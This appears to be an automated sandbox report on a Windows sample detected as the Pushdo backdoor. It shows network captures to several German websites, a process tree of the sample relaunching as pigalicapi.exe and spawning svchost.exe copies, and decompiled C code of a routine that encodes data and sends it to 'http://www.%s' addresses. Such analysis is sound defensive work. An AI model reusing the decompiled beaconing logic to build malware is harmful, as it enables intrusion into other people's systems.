2023-03-10 06:56:21 UTC	1516	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:56:21 UTC	1532	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.6	58297	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:21 UTC	1535	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:21 UTC	1535	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:21 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:21 UTC	1536	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.6	58351	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:21 UTC	1536	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:56:21 UTC	1536	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:21 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:21 UTC	1537	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-03-10 06:56:21 UTC	1553	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:56:21 UTC	1569	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:56:21 UTC	1585	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Chrome Debug Log

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: iJzpyjAehB.exePID: 5856, Parent PID: 3452

General

Target ID:	0
Start time:	07:54:08
Start date:	10/03/2023
Path:	C:\Users\user\Desktop\iJzpyjAehB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\iJzpyjAehB.exe
Imagebase:	0x400000
File size:	153884 bytes
MD5 hash:	3E7A4148F1133CB4B8A097FD74590F44
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000000.00000002.607986528.0000000010004000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000000.00000002.571934007.0000000002380000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: pigalicapi.exePID: 6056, Parent PID: 3452

General

Target ID:	2
Start time:	07:54:28
Start date:	10/03/2023
Path:	C:\Users\user\pigalicapi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\pigalicapi.exe"
Imagebase:	0x400000
File size:	153884 bytes
MD5 hash:	3E7A4148F1133CB4B8A097FD74590F44
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000002.00000002.608690490.0000000010004000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000002.00000002.567367147.00000000007E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 52%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: pigalicapi.exePID: 1420, Parent PID: 3452

General

Target ID:	6
Start time:	07:54:36
Start date:	10/03/2023
Path:	C:\Users\user\pigalicapi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\pigalicapi.exe"
Imagebase:	0x400000
File size:	153884 bytes
MD5 hash:	3E7A4148F1133CB4B8A097FD74590F44
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000006.00000002.607161240.0000000010004000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000006.00000002.567130920.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5832, Parent PID: 6056

General

Target ID:	10
Start time:	07:55:13
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5300, Parent PID: 5856

General

Target ID:	11
Start time:	07:55:17
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5204, Parent PID: 1420

General

Target ID:	12
Start time:	07:55:25
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5356, Parent PID: 5300

General

Target ID:	13
Start time:	07:55:35
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5392, Parent PID: 5300

General

Target ID:	14
Start time:	07:55:37
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 260, Parent PID: 5300

General

Target ID:	15
Start time:	07:55:40
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 3380, Parent PID: 5204

General

Target ID:	16
Start time:	07:55:45
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 1100, Parent PID: 5300

General

Target ID:	18
Start time:	07:55:46
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5080, Parent PID: 5204

General

Target ID:	19
Start time:	07:55:46
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6268, Parent PID: 5204

General

Target ID:	21
Start time:	07:55:51
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6284, Parent PID: 5832

General

Target ID:	22
Start time:	07:55:51
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6420, Parent PID: 5204

General

Target ID:	23
Start time:	07:55:52
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6568, Parent PID: 5832

General

Target ID:	24
Start time:	07:55:54
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 7112, Parent PID: 5832

General

Target ID:	25
Start time:	07:55:58
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 9512, Parent PID: 5832

General

Target ID:	26
Start time:	07:56:09
Start date:	10/03/2023
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0x3c0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: iJzpyjAehB.exePID: 5856, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	28.5%
Dynamic/Decrypted Code Coverage:	89.1%
Signature Coverage:	24.8%
Total number of Nodes:	1498
Total number of Limit Nodes:	31

Executed Functions

Function 02370000 Relevance: 70.7, APIs: 2, Strings: 38, Instructions: 729
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 0237048B
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 023704BB

Strings

Li, xrefs: 023700DA
ushI, xrefs: 02370169
ctio, xrefs: 02370245
otec, xrefs: 0237014D
iv, xrefs: 023701E3
tu, xrefs: 02370134
a, xrefs: 023700EA
tNat, xrefs: 023701DB
S, xrefs: 023700B5
st, xrefs: 0237017B
Cach, xrefs: 023701CB
Via, xrefs: 023702EC
A, xrefs: 02370115
b, xrefs: 02370261
a, xrefs: 0237010C
ee, xrefs: 023700BE
p, xrefs: 023700C5
Ta, xrefs: 02370257
tu, xrefs: 02370105
A, xrefs: 0237021E
ucti, xrefs: 0237018C
F, xrefs: 0237015A
b, xrefs: 023700E1
o, xrefs: 02370197
Vi, xrefs: 023700FA
t, xrefs: 02370155
Lo, xrefs: 023700CA
a, xrefs: 023700D1
fo, xrefs: 02370203
G, xrefs: 023701D6
mI, xrefs: 023701F2
Rt, xrefs: 0237020D
a, xrefs: 0237013B
oc, xrefs: 02370122
yA, xrefs: 023700F3
Syst, xrefs: 023701EA
Fu, xrefs: 02370234
P, xrefs: 02370144

Memory Dump Source

Source File: 00000000.00000002.571769846.0000000002370000.00000040.00001000.00020000.00000000.sdmp, Offset: 02370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2370000_iJzpyjAehB.jbxd

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 2032221330-2899676511
Opcode ID: b17be84647fb9a37d8dfb2ad1ea4cf6635db13367d3ffc36cd2cdcf193e76639
Instruction ID: 7ee377fc7e22cbb3de3320b90d361b1bd9ad6af243fc37fbce81f4cdddb09321
Opcode Fuzzy Hash: b17be84647fb9a37d8dfb2ad1ea4cf6635db13367d3ffc36cd2cdcf193e76639
Instruction Fuzzy Hash: 305289715083858FE734CF24C880BABBBE5BF95714F04492EE9C98B251E774E948CB56

Uniqueness

Uniqueness Score: -1.00%

Function 04004BA0 Relevance: 63.8, APIs: 33, Strings: 3, Instructions: 800
memorysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E04004BA0(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				signed int _v28;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				void* _v48;
				long _v52;
				void* _v56;
				char* _v60;
				CHAR* _v64;
				intOrPtr* _v68;
				intOrPtr _v72;
				int _v76;
				void* _v80;
				void* _v84;
				void* _v88;
				void* _v92;
				void* _v96;
				void* _v100;
				void* _v124;
				void* _v132;
				void* _v136;
				void* _v140;
				void* _v144;
				void* _v148;
				void* _v152;
				void* _v156;
				void* _v160;
				char _v420;
				CHAR* _v424;
				int _v428;
				void* _v432;
				long _v436;
				short _v948;
				void* _v952;
				void* _v956;
				void* _v960;
				void* _v964;
				long _v968;
				void* _t306;
				void* _t307;
				void* _t308;
				int _t312;
				int _t318;
				long _t328;
				void* _t333;
				void* _t351;
				long _t358;
				void* _t637;
				void* _t638;

				__imp__CoInitialize(0);
				_v8 = _a4;
				if(_v8 == 0) {
					L83:
					__imp__CoUninitialize(); // executed
					return 0;
				} else {
					E04007B70( &_v36, _v8, 0x1c);
					_t638 = _t637 + 0xc;
					SetEvent( *(_v8 + 0x10));
					_v40 = 0xea60;
					_v44 = _v28;
					while(_v44 <= _v24 && (( *(_v12 + 0x28) & 0x000000ff) != 0 || WaitForSingleObject( *(_v12 + 0x24), 0xa) != 0)) {
						_v64 = _v44 * 0x28 + _v36;
						_v52 = 0x100000;
						_t306 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v48 = _t306;
						_t307 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v56 = _t307;
						_t308 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v60 = _t308;
						if(_v48 == 0 || _v56 == 0 || _v60 == 0) {
							L82:
							_v44 = _v44 + 1;
							continue;
						} else {
							_v68 = _v48;
							_v80 = 0;
							while(_v80 < 0x100) {
								_v80 = _v80 + 1;
							}
							_v72 = _v68 - _v48;
							if( *0x40118a4 == 2 &&  *((intOrPtr*)(_v16 + 0x453)) > 0 &&  *((intOrPtr*)(_v16 + 0x453)) < 0x100000 - _v72 &&  *((intOrPtr*)(_v16 + 0x457)) != 0) {
								 *_v68 =  *((intOrPtr*)(_v16 + 0x453));
								_v68 = _v68 + 4;
								E04007B70(_v68,  *((intOrPtr*)(_v16 + 0x457)),  *((intOrPtr*)(_v16 + 0x453)));
								_t638 = _t638 + 0xc;
								_v68 = _v68 +  *((intOrPtr*)(_v16 + 0x453));
							}
							_v72 = _v68 - _v48;
							_t312 = E04008370(_v48, _v72, _v56, 0x100000); // executed
							_t638 = _t638 + 0x10;
							_v76 = _t312;
							if(_v76 <= 0) {
								L81:
								VirtualFree(_v48, 0, 0x8000); // executed
								VirtualFree(_v56, 0, 0x8000); // executed
								VirtualFree(_v60, 0, 0x8000); // executed
								goto L82;
							} else {
								_v424 = "http://www.%s";
								_t318 = lstrlenA(_v64);
								if(_t318 + lstrlenA(_v424) >= 0x100) {
									goto L81;
								}
								wsprintfA( &_v420, _v424, _v64);
								_t638 = _t638 + 0xc;
								_v428 = 0x100000;
								if(CryptBinaryToStringA(_v56, _v76, 0x40000001, _v60,  &_v428) == 0) {
									goto L81;
								}
								_v956 = 0;
								_v432 = 0;
								MultiByteToWideChar(1, 1,  &_v420, 0xffffffff,  &_v948, 0x100);
								_v952 = 0;
								_t328 = E040017D0( &_v420,  &_v420, _v60, _v428,  &_v956,  &_v432, 0xea60,  &_v952); // executed
								_t638 = _t638 + 0x1c;
								_v436 = _t328;
								if(_v436 <= 0) {
									L79:
									if(_v956 != 0) {
										VirtualFree(_v956, 0, 0x8000); // executed
									}
									goto L81;
								}
								if(_v436 < 0x100 || _v952 >= 0x1f4) {
									if( *0x40118a4 != 1) {
										goto L70;
									}
									VirtualFree(_v956, 0, 0x8000); // executed
									_v956 = 0;
									_v432 = 0;
									_v960 = 0;
									while(_v960 < 4) {
										_t358 = E040017D0(_v428,  &_v420, _v60, _v428,  &_v956,  &_v432, 0xea60,  &_v952); // executed
										_t638 = _t638 + 0x1c;
										_v436 = _t358;
										if(_v436 > 0x100 || _v952 < 0x1f4) {
											goto L70;
										} else {
											_v960 = _v960 + 1;
											continue;
										}
									}
									goto L70;
								} else {
									L70:
									if(_v436 > 0) {
										EnterCriticalSection(_v12 + 0xc);
										if( *(_v12 + 4) != 0) {
											_v968 =  *(_v12 + 8) + _v436;
											_t333 = VirtualAlloc(0, _v968, 0x3000, 4); // executed
											_v964 = _t333;
											if(_v964 != 0) {
												if(GetTickCount() % 2 != 0) {
													E04007B70(_v964, _v956, _v436);
													E04007B70(_v964 + _v436,  *(_v12 + 4),  *(_v12 + 8));
													_t638 = _t638 + 0x18;
												} else {
													E04007B70(_v964,  *(_v12 + 4),  *(_v12 + 8));
													E04007B70(_v964 +  *(_v12 + 8), _v956, _v436);
													_t638 = _t638 + 0x18;
												}
												 *(_v12 + 8) =  *(_v12 + 8) + _v436;
												VirtualFree( *(_v12 + 4), 0, 0x8000); // executed
												 *(_v12 + 4) = _v964;
											}
										} else {
											_t351 = VirtualAlloc(0, _v436, 0x3000, 4); // executed
											 *(_v12 + 4) = _t351;
											E04007B70( *(_v12 + 4), _v956, _v436);
											_t638 = _t638 + 0xc;
											 *(_v12 + 8) = _v436;
										}
										LeaveCriticalSection(_v12 + 0xc);
									}
									goto L79;
								}
							}
						}
					}
					goto L83;
				}
			}

0x04004bac
0x04004bb5
0x04004bbc
0x040056f0
0x040056f0
0x040056fc
0x04004bc2
0x04004bcc
0x04004bd1
0x04004bdb
0x04004be1
0x04004beb
0x04004bf9
